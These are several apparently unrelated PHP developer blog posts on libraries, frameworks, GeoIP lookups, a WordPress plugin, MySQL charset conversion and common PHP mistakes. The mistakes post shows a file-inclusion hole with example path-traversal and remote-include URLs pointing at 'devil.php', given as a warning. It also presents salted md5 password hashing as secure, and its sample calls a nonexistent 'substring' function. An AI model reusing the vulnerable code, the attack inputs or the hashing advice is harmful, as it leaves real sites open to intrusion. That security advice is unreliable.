Well, I’m not any exception, until I got acknowledged of a JS project called php.js originally started by Kevin van Zonneveld. I have used this in more than one of my projects and it just works perfect for me without any hassles, so maybe I should feature it in return.

You can tell, the project is all about porting PHP functions into Javascript. Yes, many of those are there, but under a different name or one step away – like PHP’s sin and JS’ Math.sin. Some others however, are not that easy to obtain in Javascript – I’m talking about md5, date, serialize etc. and those array stuffs. It even deals with file system, with the support of the XMLHttpRequest object (therefore these functions may fail if the browser doesn’t support it).

The project is active and it seems Kevin, with the great help from other contributors, is constantly expanding it. A list of available (successfully ported) methods can be found here – nearly 300 (!) each with detailed code and examples. You can just copy the function code and embed it into your script to start using right away, or download the full packages for everything.

I, for myself, can’t understand how there are such good people in this world: put huge effort into something just to give away, expecting nothing in return.

Are you using of this wonderful project in your own? If so how about featuring it?

With simplicity and efficiency being the priority in mind, several days ago, I discovered Kohana and was impressed. As clearly specified on its homepage, Kohana was originally based on CodeIgniter, so CI users should find no difficulties migrating. Then, along its (community-driven) development way, Kohana has grown quite a bit, and now looks like a very promising PHP framework. Among its features:

• Highly secure
• Extremely lightweight
• Short learning curve
• Uses the MVC pattern
• 100% UTF-8 compatible
• Loosely coupled architecture
• Extremely easy to extend

And the things make it stand out from the crowd:

1. Community, not company, driven. Kohana development is driven by a team of dedicated people that need a framework for fast, powerful solutions.
2. Strict PHP 5 OOP. Offers many benefits: visibility protection, automatic class loading, overloading, interfaces, abstracts, and singletons.
3. Extremely lightweight. Kohana has no dependencies on PECL extensions or PEAR libraries. Large, monolithic libraries are avoided in favor of optimized solutions.
4. GET, POST, COOKIE, and SESSION arrays all work as expected. Kohana does not limit your access to global data, but offers filtering and XSS protection.
5. True auto-loading of classes. True on-demand loading of classes, as they are requested in your application.
6. No namespace conflicts. All classes are suffixed to allow similar names between components, for a more coherent API.
7. Cascading resources offer unparalleled extensibility. Almost every part of Kohana can be overloaded or extended without editing core system files. Modules allow multi-file plugins to be added to your application, transparently.
8. Library drivers and API consistency. Libraries can use different “drivers” to handle different external APIs transparently. For example, multiple session storage options are available (database, cookie, and native), but the same interface is used for all of them. This allows new drivers to be developed for existing libraries, which keeps the API consistent and transparent.
9. Powerful event handler. Observer-style event handlers allow for extreme levels of customization potential.
10. Rapid development cycle. Rapid development results in faster response to user bugs and requests.

You can tell that, originally a fork from CodeIgniter, Kohana should inherit the best from CI when having many improvements. Yes, it’s true. First, it’s PHP 5, so you can take full advantages of the new features available in this version. Second, it doesn’t limit your data in POST and SESSION as CI does (by default, CI disables GET, and it was a nightmare for me trying to integrate Google Custom Search into my CI-based website). Third, it has cool libraries, with the most powerful being ORM, which is a must-have for serious enterprise application.

With this being said, I’ll not dust away CodeIgniter anytime soon. Nevertheless, CI is already mature, with a good userbase, when Kohana is still in its beginning phase and thus has true support limitations. Both have their own pros and cons, so while sticking with CI, I will start playing around with Kohana.

To my readers: please spread the words! Kohana is definitely a very promising PHP framework. By featuring it on your own blog, you’re helping an free, useful, open-source, community-driven application grow. That also is contribution

For this project, I decided to go with PHP version which has a NET_GeoIP PEAR package. Just download it, along with the free data files (they have paid ones also) – Geo Lite Country if you want the country details only, or Geo Lite City if you want extra stuffs like city, region, latitude and longtitude etc. In this post, I’ll go with City version.

Now, with everything downloaded and extracted into a folder, start with an empty index.php file and fill it with some code:

1
2
3
4
5
6
7
8
9
10
11
12

<?php
require_once "path/to/file/GeoIP.php";
 
// define a new instance of Net_GeoIP class
$geoip = Net_GeoIP::getInstance("path/to/file/GeoLiteCity.dat");
 
try {
    var_dump($geoip->lookupLocation($_SERVER['REMOTE_ADDR']));
} catch (Exception $e) {
    // Handle exception
}
?>

The function lookupLocation() from class NET_GeoIP accepts a string parameter in IP format – something like “210.245.17.13″ and returns a Location object which contains several useful geographic information. If you run this script on your localhost however, nothing will be printed. That is because in such a case, $_SERVER['REMOTE_ADDR'] is a local IP – most often 127.0.0.1 – which cannot tell us anything. Have you heard this quote “There is nothing like 127.0.0.1″?

So for testing purpose, let’s modify the above code a bit, so that it can accept an optional query parameter as an IP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
require_once "path/to/file/GeoIP.php";
 
// define a new instance of Net_GeoIP class
$geoip = Net_GeoIP::getInstance("path/to/file/GeoLiteCity.dat");
 
$ip = isset($_GET['test_ip']) ? $_GET['test_ip'] : $_SERVER['REMOTE_ADDR'];
 
try {
    var_dump($geoip->lookupLocation($ip));
} catch (Exception $e) {
    // Handle exception
}
?>

Now if you’ve set it everything correctly in place, browse to index.php?test_ip=210.124.12.3 will show something like this:

object(Net_GeoIP_Location)#2 (10) {
  ["countryCode"]=>
  string(2) "KR"
  ["countryName"]=>
  string(18) "Korea, Republic of"
  ["region"]=>
  string(2) "11"
  ["city"]=>
  string(5) "Seoul"
  ["postalCode"]=>
  NULL
  ["latitude"]=>
  float(37.5664)
  ["longitude"]=>
  float(126.9997)
  ["areaCode"]=>
  NULL
  ["dmaCode"]=>
  NULL
  ["countryCode3"]=>
  string(3) "KOR"
}

Similarly, index.php?test_ip=128.54.13.8 shows

object(Net_GeoIP_Location)#2 (10) {
  ["countryCode"]=>
  string(2) "US"
  ["countryName"]=>
  string(13) "United States"
  ["region"]=>
  string(2) "CA"
  ["city"]=>
  string(8) "La Jolla"
  ["postalCode"]=>
  string(5) "92093"
  ["latitude"]=>
  float(32.8807)
  ["longitude"]=>
  float(-117.2359)
  ["areaCode"]=>
  int(858)
  ["dmaCode"]=>
  float(825)
  ["countryCode3"]=>
  string(3) "USA"
}

Extremely useful, isn’t it? With these information on hand, there’s no limit of what we can do to improve user interaction and much more.

A simple demo of this can be found here.

But hey, this post is not about WordPress 2.7! There are hundreds of blogs out there babbling about it already! If you’re a careful reader (definition: a careful reader is someone who reads something from the title on), you probably know it, I’ve managed to used some free time to write another WP plugin called AJAX Random Posts, and this post is more or less its homepage.

As its name is saying, AJAX Random Posts (AjaxRP) display a list of randomly chosen posts from your WordPress-powered blog. Yeah, it’s nothing new, such a concept is very popular and has been greatly done by several plugins before. The limitation of those plugins however, is the lack of cache plugins compatibility. For example, you install a random post plugin. Then a visitor comes to post A, and under a post he’s served with 5 other random ones, let’s say C, Y, M, K, and J. If you have WP-Super Cache enabled on your blog, the post A is cached for, like, one hour. During that one hour, any visitor that reads post A will be served with its cached version, with C, Y, M, K, and J following. You must agree with me, it’s not so random anymore .

So, the only difference my AjaxRP is making is its “AJAX” part. With AjaxRP, the random list is NOT generated along with post A. Instead, it makes an AJAX call to the server after the page is loaded (more precisely, after the DOM is ready) and retrieves a list of random posts. This way, it works regardless of whether or not you have a cache plugin installed. That means, each page refresh shows a new random list. And I guess that is what should be called “random”.

FAQ

Q: Do you provide a template tag/ post tag?
A: Absolutely. If you don’t want the random posts to be display after every post, just set “Automatically display the random posts in a single post page?” to “No” in the Settings page, and

• Manually put <!–ajaxrp–> at the end of your post, or
• Place this php code: <?php if (function_exists(‘ajaxrp’)) ajaxrp(); ?>
  at a proper place in your template’s single.php page

Q: Where can I find a demo?
A: Right here! Take a look at the end of this post.

Q: How do I support this plugin?
A: Please link back to this post or blog about it. Also I would appreciate a lot if you can rate this plugin 5 stars in the WordPress repository.

History

Full history can be found here.

Download

Head here.

Especially when I came into this serious problem: MySQL data charset converting.

Let me say more clearly. I’m a Vietnamese, and I like Vietnamese poems (at least good ones), so Thica.net (which means Poetry.net in English) is naturally written in Vietnamese, and is nothing more than a normal WordPress installation. The thing is, when first installed Thica.net, the charset of the database (and everything inside it) was set to “latin1″ by default. When not being a big problem with English speaker, for multilingual sites it’s prone to big troubles, like:

• Incorrect search results
• Wrong order of sorting: in Vietnamese alphabet table, letter “Đ” comes right after “D”, but in my site it came not sooner than “Y”, when “Ý” was placed just before “A” – whoops.

So along with the redesign, I decided that Thica.net’s database needed to be revamped. Easy spoken, indeed. But not that easy to do.

First, MySQL internally supports conversion between charsets. Like this:

ALTER TABLE `table_name` CONVERT TO CHARACTER SET 'utf8';

You may have guessed it, this query doesn’t help much. While the table’s charset has been indeed converted into utf8, the data remains the same, means a bunch of meaningless characters like “Trần Dần”, “Phạm Tiến Duật”, “Nguyá»…n Mỹ” and so on.

Then, I read somewhere that you can dump the entire database into a text file, and use Notepad++ to convert the encoding into UTF-8, then restore the dump back. Or, you can use iconv library. Or, the multibyte functions in PHP. None worked for me.

After some researching in vain, I came to this question: why does querying the latin1 database and display the retrieved data on a page (in utf-8) always works correctly? It turned out that, like an ox, MySQL somehow decided to take the hard and heavy part, like this:

1. First, client machine requests data using a query
2. Server quietly converts the (latin1) data into UTF-8 and returns it
3. Client machine displays the properly formatted data on browser

So it flashed through my mind: I’d take part in in the final step. Instead of displaying the good data however, I will save it somewhere, like in a dump, to be accessible later. And like a real dump, there should be queries to drop and create tables also. Here is the code I wrote:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

# if your database is big, do some preparations
# ini_set('memory_limit', '256M');
# ini_set('max_execution_time', 120);

# some config data
define('HOST', 'localhost');
define('USER', 'root');
define('PASS', '');
define('DB', 'test');
define('FILE', 'utf8data-dump.sql');
 
mysql_connect(HOST, USER, PASS);
mysql_select_db(DB);
 
# retrieves a list of table names from the database
$rs = mysql_query('SHOW TABLES FROM ' . DB);
$content = '';
while ($row = mysql_fetch_row($rs))
{
	# for each table, get its structure
	$table_name = $row[0];
	$content .= "\r\n-- TABLE STRUCTURE OF $table_name--\r\n";
	$table_struct = mysql_query("SHOW CREATE TABLE " . $table_name);
	$table_struct = mysql_fetch_array($table_struct);
 
	# add a DROP IF EXISTS query
	$content .= "DROP TABLE IF EXISTS $table_name; \r\n";
 
	# add a CREATE TABLE query
	# remember, we must replace latin1 charset with utf8
	$content .= str_replace('latin1', 'utf8', $table_struct[1]) . "; \r\n";
 
	# now, the data
	$content .= "\r\n-- DATA OF $table_name--\r\n";
 
	$table_data = mysql_query("SELECT * FROM $table_name");
 
	# if the table is empty, hell with it
	if (mysql_num_rows($table_data) == 0) continue;
 
	$content .= "INSERT INTO $table_name VALUES ";
 
	# populate the data
	$str = '';
	while ($data_row = mysql_fetch_row($table_data))
	{
		$str .= '(';
		foreach ($data_row as $field)
		{
			$str .= sprintf("'%s',", addslashes($field));
		}
		$str = rtrim($str, ',');
		$str .= '),';
	}
	$str = rtrim($str, ',');
 
	$content .= "$str; \r\n";
}
 
# write the (formatted) data into the dump file.
$handle = fopen(FILE, 'wb');
fwrite($handle, $content);
fclose($handle);

This script worked for me (this post will make no sense otherwise). After running this it in my browser, I got a dump that can be use to restore a perfect utf8 database (well, not really perfect, as I’ll tell below, but acceptable).

The limitation of this script is, it doesn’t support the collates. A table created with utf8 charset will have a default collate being utf8_general_ci, which isn’t preferred over utf8_unicode_ci (like in these charts here and here. At least, my categories are not correctly sorted until I manually set the column `wp_terms`.`name` to utf8_unicode_ci.

The final line: Have you known yet? My new Thica.net is here.

When the previous version (1.6.3) was just more or less about maintenance and bug fixes, 1.7.0 makes a step further to add many new and enhanced features. To name a few (from the Change Log):

• Added a new Form Validation Class. It simplifies setting rules and field names, supports arrays as field names, allows groups of validation rules to be saved in a config file, and adds some helper functions for use in view files[...] (Me: Perfect. The old validation class was really a failure of CI, as it was ugly and prone to misunderstanding)
• Updated the Sessions class so that any custom data being saved gets stored to a database rather than the session cookie (assuming you are using a database to store session data), permitting much more data to be saved. (Me: I don’t save session data into database, so this doesn’t sound like a big change to me)
• Added the ability to store libraries in subdirectories within either the main “libraries” or the local application “libraries” folder[...] (Me: Finally. It has always pissed me up for not being able to organize my libraries)
• Added the ability to assign library objects to your own variable names when you use $this->load->library() [...] (Me: Yes, I’ve been wondering why this was not available in previous versions, when it DID with controllers and models)
• Added controller class/method info to Profiler class and support for multiple database connections.
• Improved the “auto typography” feature and moved it out of the helper into its own Typography Class. (Me: I didn’t pay notice to this feature. Looks like a VERY useful class now. Must make use of it)
• Improved performance and accuracy of xss_clean(), including reduction of false positives on image/file tests
• [...]
• Added support for mb_strlen in the Form Validation class so that multi-byte languages will calculate string lengths properly. (Me: So it didn’t make use of mb_strlen() in the past? OMG!)

With many other new features and bug fixes, this is definitely worth an upgrade. Way to go, CodeIgniter!

Update: Sorry, forgot this. You can download the latest version here.

1. No or little understanding about HTTP methods

What’s the point here?

Everybody uses form, but not everybody knows what “GET” and “POST” really do. As a result, many PHP developers tend to get user’s input data from $_REQUEST, thinking “oh, whatever you send, I’ll catch ‘em all”. That’s not so good, really. Think about $_REQUEST as a merge between $_GET and $_POST, now instead of posting through a form, a user can just attach his (malicious) data via the query string, press Enter, and you’re doomed.

How to fix?

You should spent some extra time to learn what GET and POST are, and what they’re doing with the web (well then, after some careful studying you may find that it’s not really secure using POST, since a medium user can easily fake POST data too, but it’s a different story).

Also note that sometimes PHP’s $_GET and $_POST don’t contain any of the input data. This likely happens in a server-to-server data transfer, and now you must parse the raw data yourself, instead of relying on PHP parser. Something like $data = file_get_contents(’php://input’); if you’re ready with that.

2. Little understanding on PHP types

Yes, what’s so bad?

As a newbie, especially if you’re coming from another strong-typed language like C#, you may find it confused with types in PHP. Then, you don’t know how to do a good comparison operator, neither can you be sure if that 500-line-of-code function returns the correct data type you need. The result? Your PHP code is messy, with unnecessary lines and comments (yeah, comments are good, but only if you don’t overuse them).

How to fix?

Actually it’s not about fixing. Read more, practise more, until you (and your boss) consider yourself OK. If you want to make sure it’s a string, an array etc., make use of PHP’s built-in range of “is_” functions, like is_array, is_string, is_null… If you want an exact comparison, keep in mind that weird “===” operator. Remember that empty($var) returns boolean TRUE with a null, 0 (number), ‘0′ (the string 0), ” (an empty string), an array with no elements, a non-asigned variable, and the FALSE itself. Play around, it’s the key.

3. Misunderstanding about (external) file including

Huh?

Like, you create two common files call “header.inc.php” and “footer.inc.php”. Also you put a “functions.inc.php” and “database.class.php” into play. Now with each page, you include() the four php files. Isn’t it fast? convenience? easy to maintain?

YES!!! You rock!!! That’s the way it should be!!!

But wait. Do you know that everything has its own risks? No? Go ask here.

Just kidding. The thing is, PHP offers many methods to including another file into your current script. And you should take all of them into account, or open your doors saying “Hi, Mister Exploit, my pleasure to meet you!”.

How?

Not that complex. In PHP to include a file, we have at least four ways, include(), include_once(), require(), and require_once(), all accept a string as the file path/name to include and evaluate it. However, they’re different. Little, but can kill.

If you’re trying to include() a missing file, a Warning will be produced, and your script continues. This is sometimes what we want, sometimes not. On the opposite, we have require() which terminates the whole script if there’s any problem with the to-be-included file. Again, sometimes we like it NOT, sometimes we do.

An include_once is equivalent to include(), except that if the file has been included, it won’t be included (and executed) again. The same goes with require_once and require(). This is extremely important, as re-declaring a function in PHP (for now) simply generates a Fatal error. Not what you want, yes?

So isn’t it safer to use include_once() or require_once() all the time? The answer is No. Everything has a price, and in PHP it’s the performance. You must trade your speed for this convenience, so think twice.

Also some tend to use this portion of code:

1
2
3
4
5
6
7
8
9
10
11

if (!isset($_GET['page'])) 
{ 
    goToIndexPage(); 
} 
else 
{ 
    if (file_exists($_GET['page'])) 
    { 
        include($_GET['page']); 
    } 
}

What does this code do? It acts as a simple front controller, which accepts a “page” parameter via GET. So if the user goes to yoursite.com/?page=news, you’ll serve him your news.php file. Very handy, indeed.

But wait, what if a user by any “accident” wants to go to yoursite.com/?page=../../etc/password? Do you want to serve that guy your password file? I doubt that.

And if allow_url_fopen is turned on in your php.ini, he may wants to visit yoursite.com/?page=http://hissite.com/devil.php… Kaboom! Think about it.

4. Not using any encryption

The problem

Once in a while I work as a freelancer, and my jobs are very often done on an existing site – you know, improving, enhancing, fix bugs, whatever it’s called. And it beats me to see that 50% of the cases, the passwords and other sensitive information are saved nakedly in the database, for any naked eyes to see. Not only it’s a serious security problem, it also hurts policy. You can be sued! Be very afraid!

The fix

Encryption (here I use the term in a common way, ignoring that encrypting and hashing are different) methods are dead simple in PHP. What does it take to encrypt a string in PHP using md5? One line of code:

1
2
3
4
5
6
7
8

$my_string = 'I am a very sensitive info. Encrypt me please!'; 
 
// You can md5 the string normally. This is that one line 
$encrypted = md5($my_string); 
 
// or use a simple yet very efficient technology call "salting" 
define('MD5_SALT', 'A string No one can GuEss'); 
$encrypted = md5($my_string . MD5_SALT);

There! You now have a nearly-impossible-to-decrypt string contained in $encrypted variable. That’s called md5 hashing. How complicated is that? Now save the passwords in encrypted form into database, and sleep well at night. Without a mighty server AND some thousand years, no one can discover your secret behind those 32 characters. Later, if you want to authorize a user for example, hash the typed in password with the same salt and compare the result with the value stored.

There is however one catch with this method: password retrieving feature. No, you simply can’t decrypt the hashed string to give back the password to that absent-minded Bob. As an alternative method, you will have to create another random password for him. This is what I’m doing now:

1
2
3
4
5
6
7
8
9
10
11

// generate a random string based on the microtime value 
$random_string = md5(microtime()); 
 
// now as the string is 32 charaters in length, chop it a bit 
// let's say 6 first characters 
$new_password = substring($random_string, 0, 6); 
 
// save the new password into database. Remember to encrypt it!!! 
saveToDatabase(md5($new_password)); 
 
// mail Bob

If you prefer returning the old password to our Bob, considering two-way encrypting libraries like mcrypt.

5. Little care about optimization

The situation

You’re developing a good site. It’s cuil – you know what I mean. People know it. Many guys start contributing by writing you good articles. You receive 372 comments with each post. You begin to place ads and earn some money. Wind blows, water flows, men go, dogs bo-wo (that’s how dogs are barking in my country), till one morning you wake up and recognize that it takes five minutes for your website to generate and display a news about Steve Jobs’ heartache. What happened? You can swear that it USED to be lightning fast just ONE MONTH ago! What the hell happened?

The (possibly) cause

Everybody can write code, but not all can/take time to optimize it. According to Wikipedia, optimization is “the process of modifying a system to make some aspect of it work more efficiently or use fewer resources”. The fewer the resources are, the faster your site is. Take a look at this code:

1
2
3
4
5
6
7

$my_string = "I will blah 100 times: "; 
for ($i = 0; $i < 100; ++$i) 
{ 
    $my_string .= "blah"; 
} 
echo $my_string; 
exit();

When it doesn’t look so bad, there are at least 3 problems within those only 7 lines of code above:

1. Improper use of double quotes (2 times). As PHP will try to parse variables in a double quoted string, it will certainly take extra time to assign “This string” compared to ‘This string’ into a variable.
2. Not making use of the built-in function str_repeat(). Built-in functions are ALWAYS faster.
3. The 2 final lines can be combined into one.

Now take a look at this:

1
2

$my_string = 'I will blah 100 times: '; 
exit($my_string . str_repeat('blah', 100));

How does that look like? Not only it’s shorter, it’s also way cleaner and well optimized. The difference may not be significant in a small idle site, but in a big enterprise application, every bit is gold. So take out the unnecessary code, try to find an equivalent built-in function for that 100 lines of code, try combining your statements, and so on – here is a very good tutorial on this topic. Once you think that your code is perfect, it’s time to considering database optimization, but I’ll talk about it in another post, not here, not now.

6. Little care about the successors

Successors? Who are they?

They are the next guys to work with your PHP code (maybe your son, your senior, yourself, or even me).

I’ve seen quite a few of developers who write code like tomorrow’s the end of the world. To name a few:

• No comments or comments are written in Sanskrit. No, I don’t know Sanskrit, neither my dad, neither my Indian buddy Yousuf. I can’t even read French. I’m dead. Help!!!
• Using short tags (<? ?> instead of <?php ?>). What if one day your site moves to another host where short tag was disabled? What if PHP (very likely) decides to remove short tag support from the next version?
• Not using a framework. Agreed, there are sites and pages that are too simple, when a framework just means “bloated”. But in other cases, a good framework can only help. It standardizes the way you code, it has security measures, and it’s fast to develop. Learning to use a framework is definitely not a pain in the ass, and there are plenty out there: Zend, Cake, CodeIgniter, Seagull etc.
• Encrypt your code. Unless you are going to sell your code and giving out a demo, you don’t need such security. It’s gonna be hell when you lose the encryption key. Worst.hell.ever.

Science has it that our beautiful earth will only vanish after at least 500 million more years. It’s not very near a future, so when you write your code, think about the guys who will be in charge of it tomorrow, and they will thank you.